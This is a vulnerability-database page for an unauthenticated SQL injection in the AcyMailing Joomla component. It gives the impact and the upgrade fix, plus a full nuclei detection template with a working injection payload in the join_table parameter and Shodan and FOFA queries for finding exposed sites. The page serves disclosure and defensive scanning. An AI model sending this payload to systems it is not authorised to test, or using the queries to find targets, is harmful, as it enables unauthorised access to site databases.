HexBrain

Browse / CVEs / CVE-2026-56292

CVE-2026-56292· acyba / acymailing· CWE-89

AcyMailing < 10.11.1 - Unauthenticated SQL Injection

criticalseverity
7.5CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it

AcyMailing component for Joomla <10.11.1 contains a sql injection caused by improper input sanitization, letting attackers access unauthorized database data, exploit requires crafted input.

Impact

Attackers can access and leak unauthorized database information, compromising data confidentiality.

Fix

Upgrade to version 10.11.1 or later.

How to confirm it

Send: GET /index.php?option=com_acym&tmpl=component&ctrl=frontentityselect&task=loadEntityFront&offset=0&perCalls=500&entity=list&join&columns=id%2Cname&join_table=1…
Positive when: status_code == 200 and contains_all(body, "ACYS", "ENDS", "acym_sqli")

Run it with nuclei: nuclei -id CVE-2026-56292 -u <target>

The full check
id: CVE-2026-56292

info:
  name: AcyMailing < 10.11.1 - Unauthenticated SQL Injection
  author: str4k3r
  severity: critical
  description: |
    AcyMailing component for Joomla <10.11.1 contains a sql injection caused by improper input sanitization, letting attackers access unauthorized database data, exploit requires crafted input.
  impact: |
    Attackers can access and leak unauthorized database information, compromising data confidentiality.
  remediation: |
    Upgrade to version 10.11.1 or later.
  reference:
    - https://mysites.guru/blog/acymailing-sql-injection-disclosure/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56292
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-56292
    epss-score: 0.01381
    epss-percentile: 0.72358
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    vendor: acyba
    product: acymailing
    shodan-query: http.html:"com_acym"
    fofa-query: body="com_acym" || body="acymailing"
  tags: cve,cve2026,acymailing,joomla,wordpress,sqli,unauth

http:
  - raw:
      - |
        GET /index.php?option=com_acym&tmpl=component&ctrl=frontentityselect&task=loadEntityFront&offset=0&perCalls=500&entity=list&join&columns=id%2Cname&join_table=1%2CCONCAT%280x41435953%2CVERSION%28%29%2C0x454E4453%29%20AS%20acym_sqli HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "ACYS", "ENDS", "acym_sqli")'
        condition: and

    extractors:
      - type: regex
        group: 1
        regex:
          - 'ACYS([0-9]+\.[0-9]+\.[0-9]+[^E]*)ENDS'

References

Use this check only on systems you are authorised to test. Where the data comes from